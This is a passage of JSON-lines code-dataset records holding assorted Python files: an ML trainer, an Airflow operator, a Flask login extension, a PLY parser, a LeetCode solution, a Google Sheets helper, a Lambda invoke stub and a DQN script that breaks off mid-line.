remainder=\"drop\")\n\n\n #final pipe\n self.pipe = Pipeline([\n ('preproc', preproc_pipe),\n ('linear_model', LinearRegression())\n ])\n\n\n def run(self):\n self.set_pipeline()\n self.pipe.fit(self.X_train,self.y_train)\n\n def evaluate(self,X_test,y_test):\n yhat=self.pipe.predict(X_test)\n return compute_rmse(yhat,y_test)\n\nif __name__==\"__main__\":\n N = 10_000\n df = get_data(nrows=N)\n df = clean_data(df)\n y = df[\"fare_amount\"]\n X = df.drop(\"fare_amount\", axis=1)\n\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3)\n trainer = Trainer(X_train, y_train)\n trainer.run()\n print(trainer.evaluate(X_test, y_test))","sub_path":"TaxiFareModel/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"375282414","text":"from jaaminput import *\nimport sys\n\nx = SimpleInput()\n\nx.set_extension('.gen')\n\n# born input parameters\nx.add('N_FREQ','128')\nx.add('FMIN','10.0')\nx.add('FMAX','20000.0')\nx.add('NX','2')\nx.add('NY','2')\nx.add('DIFFRACT_FLAG','1')\n \t\n# Deprecated parameters\nx.dep('X1','never really existed')\n\n# Perform the parsing\nx.read_input('input.born')\n\nx.printmsg() \n\nsys.exit(x.error)\n\n\n","sub_path":"diffract/born/bin/born_parse.py","file_name":"born_parse.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"293166409","text":"from airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.models import BaseOperator\nfrom airflow.utils.decorators import apply_defaults\n\nclass LoadDimensionOperator(BaseOperator):\n\n ui_color = '#80BD9E'\n \n append_only_sql = '''\n INSERT INTO {}\n {}\n '''\n delete_sql = '''\n TRUNCATE {}\n INSERT INTO {}\n {}\n '''\n\n @apply_defaults\n def __init__(self,\n # Define your operators params (with defaults) here\n # Example:\n redshift_conn_id='',\n table='',\n sql='',\n append_only=True,\n *args, **kwargs):\n\n super(LoadDimensionOperator, self).__init__(*args, **kwargs)\n # Map params here\n self.redshift_conn_id = redshift_conn_id\n self.table = table\n self.sql = sql\n self.append_only=append_only\n\n def execute(self, context):\n self.log.info('LoadDimensionOperator implemented now')\n redshift = PostgresHook(self.redshift_conn_id)\n \n if self.append_only:\n formatted_sql = LoadDimensionOperator.append_only_sql.format(self.table, self.sql)\n self.log.info('########## ########### ########### ###########')\n self.log.info(f'running formatted_sql: {formatted_sql}')\n redshift.run(formatted_sql)\n else:\n formatted_sql = LoadDimensionOperator.delete_sql.format(self.table, self.table, self.sql)\n self.log.info('########## ########### ########### ###########')\n self.log.info(f'running formatted_sql: {formatted_sql}')\n redshift.run(formatted_sql)","sub_path":"airflow/plugins/operators/load_dimension.py","file_name":"load_dimension.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"377786898","text":"# -*- coding: utf-8 -*-\nfrom pprint import pprint\nfrom flask import current_app, _app_ctx_stack, session\nfrom sqlalchemy import Column, String\nfrom werkzeug.local import LocalProxy\nfrom .utils import unique_request_id\nfrom .views import bp\nfrom .forms import SignedMessageLoginForm\n\n\n#: Default configuration\n_default_config = {\n \"APP_NAME\": \"Flask-Beet\",\n \"REMEMBER\": True,\n \"UNIQUE_MESSAGE_GENERATOR\": unique_request_id,\n # VIEW\n \"POST_LOGIN_VIEW\": \"/\",\n \"ONBOARDING_VIEW\": \"/register\",\n # MESSAGES\n \"INVALID_PAYLOAD_MESSAGE\": \"Invalid payload!\",\n # SESSION KEYS\n \"UNIQUE_MESSAGE_SESSION_KEY\": \"_signed_message_payload\",\n \"ONBOARDING_ACCOUNT_NAME_KEY\": \"_onboarding_account_name\",\n \"ONBOARDING_MESSAGE_KEY\": \"_onboarding_message\",\n # TEMPLATES\n \"LOGIN_TEMPLATE\": \"/beet/login.html\",\n \"LAYOUT_TEMPLATE\": \"layout.html\",\n}\n\n\nclass Beet(object):\n def __init__(self, app=None):\n if app is not None: # pragma: no cover\n self.init_app(app)\n\n def init_app(self, app):\n \"\"\" Initialize app according to flask factories\n \"\"\"\n self.app = app\n app.register_blueprint(bp)\n\n \"\"\" Store config variables with BEET_ prefix\n \"\"\"\n for key, value in _default_config.items():\n app.config.setdefault(\"BEET_\" + key, value)\n\n @app.context_processor\n def template_extras():\n \"\"\" This context processor will throw a random string, store it in\n the session and provide it to the template\n \"\"\"\n signed_message_payload = app.config.get(\"BEET_UNIQUE_MESSAGE_GENERATOR\")()\n session[\n app.config.get(\"BEET_UNIQUE_MESSAGE_SESSION_KEY\")\n ] = signed_message_payload\n beet_login_form = SignedMessageLoginForm()\n return dict(\n signed_message_payload=signed_message_payload,\n beet_login_form=beet_login_form,\n )\n\n return app\n\n\nclass BeetMixin:\n \"\"\" This mixing is required to have knowledge over which user connects to\n which account\n \"\"\"\n\n beet_account_name = Column(String(255))\n\n def set_beet_account_name(self, name):\n \"\"\" Set a beet account name\n \"\"\"\n self.beet_account_name = name\n\n def get_beet_account_name(self):\n \"\"\" Get an account name\n \"\"\"\n return self.beet_account_name\n\n @classmethod\n def find_beet_account_name(cls, name):\n \"\"\" Find a user that has this account name\n \"\"\"\n return cls.query.filter_by(beet_account_name=name).first()\n","sub_path":"flask_beet/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"318074107","text":"import ply.yacc as yacc\nimport sys\nimport logging\n\nfrom cc_script.CcScriptStmt import *\nfrom cc_script.CcScriptDefinition import *\nfrom cc_script.CcScriptExpr import *\nfrom cc_script.CcScriptPresenter import CcScriptPresenter\nfrom cc_grammar.CcScriptLexer import tokens, lexer\nscript = CcModule()\n\nfor identifier, built_in in built_in_types_map.items():\n script._entities[identifier] = built_in\n\n\ndef p_script(p):\n \"\"\"script : statements\"\"\"\n script.resolve_symbol(script)\n p[0] = script\n\n\ndef p_statements(p):\n \"\"\"statements :\n | statements statement\"\"\"\n p[0] = script.current_namespace\n if len(p) == 3:\n if p[2] is not None:\n assert (isinstance(p[2], CcStatement))\n script.create_statement(p[2])\n\n\ndef p_statement(p):\n \"\"\"statement : output_statement\n | assign_statement\n | compound_statement\n | if_statement\n | for_statement\n | while_statement\n | do_statement\n | expression_statement\n | definition_statement\n | label_statement\n | goto_statement\n | return_statement\n | empty_statement\"\"\"\n statement = p[1]\n assert (statement is None or isinstance(statement, CcStatement))\n p[0] = p[1]\n\n\ndef p_output_statement(p):\n \"\"\"output_statement : output_operator statement\n | output_operator SEMI\"\"\"\n statement = None if p[2] == ';' else p[2]\n p[0] = CcOutputStatement(line_no=p.lexer.lineno, operator=p[1], statement=statement)\n\n\ndef p_output_operator(p):\n \"\"\"output_operator : ASSIGN\n | LT\n | GT\n | DOLLAR\"\"\"\n p[0] = p[1]\n\n\ndef p_assign_statement(p):\n \"\"\"assign_statement : postfix_expression ASSIGN expression SEMI\"\"\"\n p[0] = CcAssignStatement(line_no=p.lexer.lineno, l_expr=p[1], r_expr=p[3])\n\n\ndef p_compound_statement(p):\n \"\"\"compound_statement : compound_statement_init statements RBRACE\"\"\"\n p[0] = p[1]\n script.pop_namespace()\n\n\ndef p_compound_statement_init(p):\n \"\"\"compound_statement_init : LBRACE\"\"\"\n p[0] = CcCompoundStatement(line_no=p.lexer.lineno)\n script.push_namespace(p[0])\n\n\ndef p_if_statement(p):\n \"\"\"if_statement : if_only_statement\n | if_else_statement\"\"\"\n p[0] = p[1]\n\n\ndef p_if_only_statement(p):\n \"\"\"if_only_statement : IF LPAREN expression RPAREN statement\"\"\"\n p[0] = CcIfStatement(line_no=p.lexer.lineno, condition=p[3], if_statement=p[5])\n\n\ndef p_if_else_statement(p):\n \"\"\"if_else_statement : IF LPAREN expression RPAREN statement ELSE statement\"\"\"\n p[0] = CcIfStatement(line_no=p.lexer.lineno, condition=p[3], if_statement=p[5], else_statement=p[7])\n\n\ndef p_for_statement(p):\n \"\"\"for_statement : FOR ID IN expression statement\"\"\"\n var = CcVariableDefinition(line_no=p.lexer.lineno, identifier=p[2], value_type=CcUnboundName(line_no=p.lexer.lineno, identifier='@', expr=p[4]))\n body = p[5]\n\n # Ensure the body is Compound statement, for individual namespace\n if not isinstance(p[5], CcCompoundStatement):\n body = CcCompoundStatement(line_no=p.lexer.lineno)\n body.append_statement(statement=p[5])\n\n script.push_namespace(body)\n p[0] = CcForStatement(line_no=p.lexer.lineno, var=var, iterable=p[4], statement=body)\n script.create_entity(var)\n script.pop_namespace()\n\n\ndef p_while_statement(p):\n \"\"\"while_statement : WHILE LPAREN expression RPAREN statement\"\"\"\n p[0] = CcWhileStatement(line_no=p.lexer.lineno, condition=p[3], statement=p[5])\n\n\ndef p_do_statement(p):\n \"\"\"do_statement : DO statement WHILE LPAREN expression RPAREN\"\"\"\n p[0] = CcDoStatement(line_no=p.lexer.lineno, condition=p[6], statement=p[2])\n\n\ndef p_definition_statement(p):\n \"\"\"definition_statement : definition\"\"\"\n p[0] = CcDefinitionStatement(line_no=p.lexer.lineno, definition=p[1])\n\n\ndef p_expression_statement(p):\n \"\"\"expression_statement : expression_list SEMI\"\"\"\n p[0] = CcExprStatement(line_no=p.lexer.lineno, expr_list=p[1])\n\n\ndef p_label_statement(p):\n \"\"\"label_statement : INTERNAL COLON\n | EXTERNAL COLON\"\"\"\n access_type = StorageType[p[1]]\n script.set_statement_storage_type(storage_type=access_type)\n # p[0] = CcLabelStatement(line_no=p.lexer.lineno, label=access_type)\n p[0] = None\n\n\ndef p_goto_statement(p):\n \"\"\"goto_statement : BREAK SEMI\n | CONTINUE SEMI\"\"\"\n p[0] = CcGotoStatement(line_no=p.lexer.lineno, goto=p[1])\n\n\ndef p_return_statement(p):\n \"\"\"return_statement : RETURN SEMI\n | RETURN expression SEMI\"\"\"\n if len(p) == 3:\n p[0] = CcReturnStatement(line_no=p.lexer.lineno)\n else:\n p[0] = CcReturnStatement(line_no=p.lexer.lineno, expr=p[2])\n\n\ndef p_empty_statement(p):\n \"\"\"empty_statement : SEMI\"\"\"\n p[0] = CcEmptyStatement(line_no=p.lexer.lineno)\n\n\ndef p_primary_expression(p):\n \"\"\"primary_expression : ID\n | THIS\n | SUPER\n | constant\"\"\"\n expr = p.slice[1]\n if expr.type == 'ID':\n p[0] = CcNameReference(priority=1, l_expr=CcNopExpression(priority=1), indicator=p[1])\n elif expr.type == 'THIS':\n p[0] = CcThisReference(priority=1)\n elif expr.type == 'SUPER':\n p[0] = CcSuperReference(priority=1)\n else:\n p[0] = p[1]\n\n\ndef p_postfix_expression(p):\n \"\"\"postfix_expression : primary_expression\n | postfix_expression LBRACKET expression RBRACKET\n | postfix_expression PERIOD ID\n | postfix_expression LPAREN argument_list RPAREN\n | parentheses_expression\"\"\"\n if len(p) == 2:\n p[0] = p[1]\n else:\n operator = p.slice[2]\n if operator.type == 'LBRACKET':\n p[0] = CcArrayExpression(priority=2, l_expr=p[1], r_expr=p[3])\n elif operator.type == 'PERIOD':\n p[0] = CcNameReference(priority=2, l_expr=p[1], indicator=p[3])\n elif operator.type == 'LPAREN':\n p[0] = CcFunctionCall(priority=2, expr=p[1], argument_list=p[3])\n else:\n raise Exception('invalid postfix expression')\n\n\ndef p_parentheses_expression(p):\n \"\"\"parentheses_expression : LPAREN logical_or_expression RPAREN\"\"\"\n p[0] = p[2]\n\n\ndef p_unary_expression(p):\n \"\"\"unary_expression : postfix_expression\n | LNOT unary_expression\n | MINUS unary_expression\"\"\"\n if len(p) == 2:\n p[0] = p[1]\n else:\n p[0] = CcUnaryExpression(priority=3, operator=p[1], expr=p[2])\n\n\ndef p_multiplicative_expression(p):\n \"\"\"multiplicative_expression : unary_expression\n | multiplicative_expression TIMES unary_expression\n | multiplicative_expression DIVIDE unary_expression\n | multiplicative_expression MOD unary_expression\"\"\"\n if len(p) == 2:\n p[0] = p[1]\n else:\n p[0] = CcBinaryExpression(priority=4, operator=p[2], l_expr=p[1], r_expr=p[3])\n\n\ndef p_additive_expression(p):\n \"\"\"additive_expression : multiplicative_expression\n | additive_expression PLUS multiplicative_expression\n | additive_expression MINUS multiplicative_expression\"\"\"\n if len(p) == 2:\n p[0] = p[1]\n else:\n p[0] = CcBinaryExpression(priority=5, operator=p[2], l_expr=p[1], r_expr=p[3])\n\n\ndef p_relational_expression(p):\n \"\"\"relational_expression : additive_expression\n | relational_expression LT additive_expression\n | relational_expression GT additive_expression\n | relational_expression LE additive_expression\n | relational_expression GE additive_expression\"\"\"\n if len(p) == 2:\n p[0] = p[1]\n else:\n p[0] = CcBinaryExpression(priority=6, operator=p[2], l_expr=p[1], r_expr=p[3])\n\n\ndef p_equality_expression(p):\n \"\"\"equality_expression : relational_expression\n | equality_expression EQ relational_expression\n | equality_expression NE relational_expression\"\"\"\n if len(p) == 2:\n p[0] = p[1]\n else:\n p[0] = CcBinaryExpression(priority=7, operator=p[2], l_expr=p[1], r_expr=p[3])\n\n\ndef p_logical_and_expression(p):\n \"\"\"logical_and_expression : equality_expression\n | logical_and_expression LAND equality_expression\"\"\"\n if len(p) == 2:\n p[0] = p[1]\n else:\n p[0] = CcBinaryExpression(priority=8, operator=p[2], l_expr=p[1], r_expr=p[3])\n\n\ndef p_logical_or_expression(p):\n \"\"\"logical_or_expression : logical_and_expression\n | logical_or_expression LOR logical_and_expression\"\"\"\n if len(p) == 2:\n p[0] = p[1]\n else:\n p[0] = CcBinaryExpression(priority=9, operator=p[2], l_expr=p[1], r_expr=p[3])\n\n\ndef p_expression(p):\n \"\"\"expression : logical_or_expression\"\"\"\n p[0] = p[1]\n\n\ndef p_expression_list(p):\n \"\"\"expression_list : expression\n | expression_list COMMA expression\"\"\"\n if len(p) == 2:\n p[0] = [p[1]]\n else:\n p[0] = p[1]\n p[0].append(p[3])\n\n\ndef p_definition(p):\n \"\"\"definition : class_definition\n | function\n | variable SEMI\n | type_alias SEMI\"\"\"\n p[0] = p[1]\n if isinstance(p[1], CcClassDefinition) or isinstance(p[1], CcFunction):\n return\n script.create_entity(p[0])\n\n\ndef p_class_definition(p):\n \"\"\"class_definition : class_definition_init statements RBRACE\"\"\"\n script.pop_namespace()\n p[0] = p[1]\n\n\ndef p_class_definition_init(p):\n \"\"\"class_definition_init : class_extends\n | class_no_extends\"\"\"\n p[0] = p[1]\n script.create_entity(p[0])\n script.push_namespace(p[0])\n\n\ndef p_class_extends(p):\n \"\"\"class_extends : CLASS id_name EXTENDS type LBRACE\"\"\"\n id_name = p[2]\n super_class = p[4]\n if super_class is None:\n raise CcNamedException(identifier=id_name.identifier, obj=p[2])\n p[0] = CcClassDefinition(line_no=p.lexer.lineno, identifier=id_name.identifier, tag=id_name.tag, super_class=super_class)\n\n\ndef p_class_no_extends(p):\n \"\"\"class_no_extends : CLASS id_name LBRACE\"\"\"\n id_name = p[2]\n p[0] = CcClassDefinition(line_no=p.lexer.lineno, identifier=id_name.identifier, tag=id_name.tag)\n\n\ndef p_function(p):\n \"\"\"function : function_init statements RBRACE\"\"\"\n script.pop_namespace()\n p[0] = p[1]\n\n\ndef p_function_init(p):\n \"\"\"function_init : type id_name LPAREN argument_declaration RPAREN LBRACE\"\"\"\n id_name = p[2]\n if id_name.identifier == '__ctor__':\n assert isinstance(script.current_namespace, CcClassDefinition)\n p[0] = CcConstructor(line_no=p.lexer.lineno, class_type=script.current_namespace, argument_list=tuple(p[4]))\n elif id_name.identifier.startswith('write_'):\n p[0] = CcPresenterFunction(line_no=p.lexer.lineno, identifier=id_name.identifier, argument_list=tuple(p[4]))\n else:\n p[0] = CcFunction(line_no=p.lexer.lineno, identifier=id_name.identifier, return_type=p[1], argument_list=tuple(p[4]))\n script.create_entity(p[0])\n script.push_namespace(p[0])\n\n\ndef p_argument_declaration(p):\n \"\"\"argument_declaration :\n | variable\n | argument_declaration COMMA variable\"\"\"\n if len(p) == 1:\n p[0] = []\n elif len(p) == 2:\n p[0] = [p[1], ]\n elif len(p) == 4:\n p[1].append(p[3])\n p[0] = p[1]\n else:\n raise Exception('Invalid argument_declaration')\n\n\ndef p_argument_list(p):\n \"\"\"argument_list :\n | expression\n | argument_list COMMA expression\"\"\"\n if len(p) == 1:\n p[0] = []\n elif len(p) == 2:\n p[0] = [p[1], ]\n elif len(p) == 4:\n p[1].append(p[3])\n p[0] = p[1]\n else:\n raise Exception('Invalid argument_list')\n\n\ndef p_variable(p):\n \"\"\"variable : variable_no_value\n | variable_with_value\"\"\"\n p[0] = p[1]\n\n\ndef p_variable_no_value(p):\n \"\"\"variable_no_value : type id_name\"\"\"\n id_name = p[2]\n p[0] = CcVariableDefinition(line_no=p.lexer.lineno, identifier=id_name.identifier, value_type=p[1], tag=id_name.tag)\n\n\ndef p_variable_with_value(p):\n \"\"\"variable_with_value : type id_name ASSIGN expression\"\"\"\n id_name = p[2]\n p[0] = CcVariableDefinition(line_no=p.lexer.lineno, identifier=id_name.identifier, value_type=p[1], tag=id_name.tag,\n default_value=p[4])\n\n\ndef p_type_alias(p):\n \"\"\"type_alias : TYPEDEF type id_name\"\"\"\n id_name = p[3]\n p[0] = CcTypeAlias(line_no=p.lexer.lineno, identifier=id_name.identifier, base_type=p[2], tag=id_name.tag)\n\n\ndef p_id_name(p):\n \"\"\"id_name : ID\n | ID COLON string_constant\"\"\"\n if len(p) == 2:\n p[0] = CcIdName(identifier=p[1])\n else:\n p[0] = CcIdName(identifier=p[1], tag=p[3])\n\n\ndef p_type(p):\n \"\"\"type : INT\n | UBYTE\n | FLOAT\n | STRING\n | VARIANT\n | BOOL\n | VOID\n | ID\n | array\"\"\"\n\n value = p.slice[1]\n if value.type == 'array':\n p[0] = p[1]\n else:\n p[0] = CcUnboundName(line_no=p.lexer.lineno, identifier=value.value)\n\n\ndef p_array(p):\n \"\"\"array : type AT\"\"\"\n base_type = p[1]\n p[0] = CcTypeArray(line_no=p.lexer.lineno, base_type=base_type)\n\n\ndef p_constant(p):\n \"\"\"constant : ICONST\n | FCONST\n | string_constant\n | NULL\n | TRUE\n | FALSE\"\"\"\n constant = p.slice[1]\n if constant.type == 'ICONST':\n p[0] = CcInstanceValue(priority=1, value_type=type_int, value=int(constant.value))\n elif constant.type == 'FCONST':\n p[0] = CcInstanceValue(priority=1, value_type=type_float, value=float(constant.value))\n elif constant.type == 'string_constant':\n p[0] = CcInstanceValue(priority=1, value_type=type_string, value=constant.value)\n elif constant.type == 'NULL':\n p[0] = CcInstanceValue(priority=1, value_type=type_null, value=None)\n elif constant.type == 'TRUE':\n p[0] = CcInstanceValue(priority=1, value_type=type_bool, value=True)\n elif constant.type == 'FALSE':\n p[0] = CcInstanceValue(priority=1, value_type=type_bool, value=False)\n else:\n raise Exception('Invalid constant type:' + str(constant))\n\n\ndef p_string_constant(p):\n \"\"\"string_constant : SCONST\n | string_constant SCONST\"\"\"\n if len(p) == 2:\n p[0] = parse_string_constants(p[1])\n else:\n p[0] = p[1] + parse_string_constants(p[2])\n\n\ndef p_error(p):\n print('Error occurs:', p)\n\n\ndef generate_model_python(model_script):\n # model_file = sys.stdout\n model_file = open('cc_model/CcModel.py', 'w')\n model_presenter = CcScriptPresenter(model_file, ' ')\n model_script.represent_py(presenter=model_presenter)\n model_file.close()\n\n\ndef parse(script_path, debug=False, tracking=False):\n script_file = open(script_path, 'r')\n data = script_file.read()\n global script\n parser = yacc.yacc()\n parser.script = script\n p = parser.parse(input=data, lexer=lexer, debug=debug, tracking=tracking)\n if p:\n generate_model_python(script)\n return parser.script\n return None\n\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.DEBUG)\n if parse(script_path=sys.argv[1], debug=True, tracking=False):\n file = open('Data/CcScript.cpp', 'w')\n presenter = CcScriptPresenter(file)\n script.represent_cc(presenter=presenter)\n file.close()\n del file\n del presenter\n","sub_path":"cc_grammar/CcScriptParser.py","file_name":"CcScriptParser.py","file_ext":"py","file_size_in_byte":15055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"387618255","text":"\"\"\"\n\n *Axis*\n\n\"\"\"\n\nfrom dataclasses import dataclass\nfrom typing import Literal\n\nfrom .orientation import AxisOrientation\n\n__all__ = [\"Axis\"]\n\n\n@dataclass\nclass Axis(\n AxisOrientation,\n):\n ordinal: int\n\n def __init__(\n self,\n ordinal: int,\n origin: int,\n direction: Literal[1, -1],\n ):\n self.ordinal = ordinal\n super(Axis, self).__init__(\n origin,\n direction,\n )\n\n @classmethod\n def create(\n cls,\n ordinal: int,\n origin: int = 0,\n direction: Literal[1, -1] = 1,\n ):\n return cls(\n ordinal,\n origin,\n direction,\n )\n","sub_path":"src/tensor/tensor/coordinate/system/axis/_axis.py","file_name":"_axis.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"253279829","text":"#\n# @lc app=leetcode.cn id=17 lang=python3\n#\n# [17] 电话号码的字母组合\n#\n# https://leetcode-cn.com/problems/letter-combinations-of-a-phone-number/description/\n#\n# algorithms\n# Medium (47.70%)\n# Total Accepted: 18K\n# Total Submissions: 37.5K\n# Testcase Example: '\"23\"'\n#\n# 给定一个仅包含数字 2-9 的字符串,返回所有它能表示的字母组合。\n# \n# 给出数字到字母的映射如下(与电话按键相同)。注意 1 不对应任何字母。\n# \n# \n# \n# 示例:\n# \n# 输入:\"23\"\n# 输出:[\"ad\", \"ae\", \"af\", \"bd\", \"be\", \"bf\", \"cd\", \"ce\", \"cf\"].\n# \n# \n# 说明:\n# 尽管上面的答案是按字典序排列的,但是你可以任意选择答案输出的顺序。\n# \n#\n\nfrom itertools import product\n\n\nclass Solution:\n def letterCombinations(self, digits: str) -> list:\n\n # 创建字母对应的字符列表的字典\n dic = {2: ['a', 'b', 'c'],\n 3: ['d', 'e', 'f'],\n 4: ['g', 'h', 'i'],\n 5: ['j', 'k', 'l'],\n 6: ['m', 'n', 'o'],\n 7: ['p', 'q', 'r', 's'],\n 8: ['t', 'u', 'v'],\n 9: ['w', 'x', 'y', 'z'],\n }\n # 存储结果的数组\n ret_str = []\n if len(digits) == 0:\n return []\n # 递归出口,当递归到最后一个数的时候result拿到结果进行for循环遍历\n if len(digits) == 1:\n return dic[int(digits[0])]\n # 递归调用, 每次移动一位\n result = self.letterCombinations(digits[1:])\n # result是一个数组列表,遍历后字符串操作,加入列表\n for r in result:\n for j in dic[int(digits[0])]:\n ret_str.append(j + r)\n return ret_str\n\n # if len(digits) == 1:\n # return list(d[digits])\n #\n # x = ['']\n # for char in digits:\n # if char in {'7', '9'}:\n # x *= 4\n # else:\n # x *= 3\n # # print(x)\n # # l_x = len(x)\n # for v in digits:\n # l_v = len(d[v])\n # # print(l_v)\n # for i in range(l_v):\n # for ii, j in enumerate(d[v]):\n # # print(j)\n # x[i * l_v + ii] += j\n\n # for bb in product(x):\n # print(bb)\n # return x\n\n\nS = Solution()\nprint(S.letterCombinations(\"23\"))\n","sub_path":"leetcode/17.py","file_name":"17.py","file_ext":"py","file_size_in_byte":2403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"573904035","text":"import os\nimport json\nfrom replit import db\nimport gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\n\nkey = os.environ.get('sheets_key')\nkey = json.loads(key)\nscope = ['https://www.googleapis.com/auth/spreadsheets',\n 'https://www.googleapis.com/auth/drive']\ncreds = ServiceAccountCredentials.from_json_keyfile_dict(key, scope)\nclient = gspread.authorize(creds)\n\nsheet = client.open('amazonPriceAlert')\nprice = sheet.get_worksheet(1)\nmeta = sheet.get_worksheet(2)\n\ndef send_data(data):\n product_name = data[0][:20].strip().replace(' ', '') + '_' + str(data[3])\n data.insert(1, product_name)\n\n n = len(meta.col_values(1))\n for row,datae in zip(range(1,6),data):\n meta.update_cell(n+1, row, datae)\n\n price.update_cell(1, n, data[1])\n\ndef list_my_products(cid,name):\n while db['key'] == 1:\n if db['key'] == 0:\n break\n db['key'] = 1\n cell_list = meta.findall(cid)\n if len(cell_list) != 0:\n message = \"Here's a list of your products %s\\n\\n\"%(name)\n for i in range(0,len(cell_list)):\n row = cell_list[i].row\n col_val = meta.row_values(row)\n message += \"Product Name: %s\\nPrice Alert: %s \\n\\n\"%(col_val[3],col_val[0],col_val[2])\n else:\n message = \"%s you haven't added any products to the watchlist yet.\"%(name)\n\n db['key'] = 0\n\n return message\n","sub_path":"Telegram Bot/sheets.py","file_name":"sheets.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"620279784","text":"# -*- encoding: utf-8 -*-\nimport boto3\nlambda_client = boto3.client('lambda')\n\n###################################\n# Invoke Lambda\n###################################\nresponse = lambda_client.invoke(\n FunctionName = 'Lambda Function Name',\n InvocationType = 'Event'|'RequestResponse'|'DryRun',\n LogType = 'None'|'Tail',\n Payload = b'bytes'|file\n)\n","sub_path":"Lambda/invoke.py","file_name":"invoke.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"412219428","text":"import threading\r\nimport numpy as np\r\n\r\nfrom gym import wrappers\r\nfrom numpy.random import binomial\r\nimport os\r\n\r\nos.environ[\"KERAS_BACKEND\"] = \"theano\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom keras.models import Sequential, Model\r\nfrom keras.layers import Dense, Reshape, Input\r\nfrom keras.optimizers import RMSprop, SGD\r\nfrom keras.callbacks import ModelCheckpoint\r\n\r\nimport gym\r\nimport numpy as np\r\nimport time\r\n\r\nfrom multiprocessing import *\r\n\r\n\r\n\r\ndef build_network(env, hidden_size=64):\r\n # create\r\n inputModel = Input(shape=(1 + env.observation_space.shape[0],))\r\n probs = Dense(hidden_size, activation='relu')(inputModel)\r\n probs = Dense(hidden_size, activation='relu')(probs)\r\n probs = Dense(1, activation='linear')(probs)\r\n model = Model(input=inputModel, output=probs)\r\n # TODO share\r\n rmsprop = RMSprop(lr=0.001)\r\n model.compile(optimizer=rmsprop, loss='mse')\r\n\r\n return (model)\r\n\r\n#Weighted choice among the len(weights) classes.\r\n#Based on the implementation : http://stackoverflow.com/a/3679747\r\n\r\n##input : weights\r\n#weights is a list of floats\r\n\r\n##output : class\r\n#class is an integer from 0 to len(weights)-1\r\n\r\ndef weighted_choice(weights):\r\n total = sum(w for w in weights)\r\n proba = np.array(weights).astype(float) / total\r\n r = np.random.uniform(0, 1)\r\n upto = 0.\r\n for c, p in enumerate(proba):\r\n if upto + p >= r:\r\n return c\r\n upto += p\r\n\r\ndef explorationGreedyPolicy(q_values, epsilon):\r\n isExploration = binomial(1,epsilon)\r\n if isExploration:\r\n action = weighted_choice([1. for value in q_values])\r\n else:\r\n action = np.argmax(q_values)\r\n return action\r\n\r\ndef getQValues(q_network, state, actionSpace):\r\n q_values = [q_network.predict(np.append([action], state).reshape((1,-1))) for action in actionSpace]\r\n return(q_values)\r\n\r\nmy_api = os.environ['my_api']\r\nenv = gym.make('CartPole-v0')\r\n\r\nlistOfAsyncTimes = [3, 5, 7, 11]\r\n#\r\n\r\n#\r\nhidden_size = 64\r\n#\r\ntarget_q_network = build_network(env, hidden_size)\r\n#q_network = build_network(env, hidden_size)\r\ntheta=target_q_network.get_weights()\r\ntheta_minus = target_q_network.get_weights()\r\n\r\nT=0\r\nTmax=50000000\r\n\r\ndef onestepdqlearn(thread_id,iAsyncUpdate,saveCountId=0,env_name='CartPole-v0',epsilon=1.,iTarget=17):\r\n print('Starting thread number '+str(thread_id))\r\n global theta_minus, theta, T, Tmax, hidden_size, my_api\r\n\r\n env = gym.make(env_name)\r\n if thread_id == saveCountId:\r\n env = wrappers.Monitor(env, '/tmp/' + env_name + '/' + str(thread_id), force=True)\r\n actionSpace = range(env.action_space.n)\r\n\r\n q_network = build_network(env, hidden_size)\r\n target_q_network = build_network(env, hidden_size)\r\n target_q_network.set_weights(theta_minus)\r\n\r\n checkpoint = 0\r\n\r\n time.sleep(3*thread_id)\r\n if checkpoint > 0:\r\n q_network.load_weights('temp/model-%d.h5' % (checkpoint,))\r\n target_q_network.set_weights(q_network.get_weights())\r\n\r\n #####################################\r\n\r\n gamma = 0.99999\r\n\r\n # Initialize thread step counter\r\n t = 0\r\n\r\n # Get initial state s\r\n meanTimeTarget = 0\r\n state = env.reset()\r\n timeEpisode = 0\r\n\r\n y_batch = []\r\n x_batch = []\r\n\r\n countEpisodeTarget = 0.\r\n if thread_id == saveCountId:\r\n saveCountEpisodes = open(\"countEpisodesOneStep.txt\",'w')\r\n\r\n\r\n while T <= Tmax:\r\n\r\n timeEpisode += 1\r\n\r\n q_network.set_weights(theta)\r\n q_values = getQValues(q_network, state, actionSpace)\r\n action = explorationGreedyPolicy(q_values, epsilon)\r\n newState, reward, done, info = env.step(actionSpace[action])\r\n\r\n if done:\r\n y = reward\r\n countEpisodeTarget += 1\r\n newState=env.reset()\r\n\r\n #Save count episodes for a given thread_id (early stop safe)\r\n if thread_id == saveCountId:\r\n saveCountEpisodes.write(\"%s\\n\" % timeEpisode)\r\n saveCountEpisodes.flush()\r\n timeEpisode = 0\r\n done = False\r\n else:\r\n target_q_network.set_weights(theta_minus)\r\n target_q_values = getQValues(target_q_network, newState, actionSpace)\r\n # gamma = preference pour le present\r\n y = reward + gamma * np.max(target_q_values)\r\n\r\n # Accumulate gradients wrt theta\r\n y_batch.append(y)\r\n x_t = np.append([action], [state]).tolist()\r\n 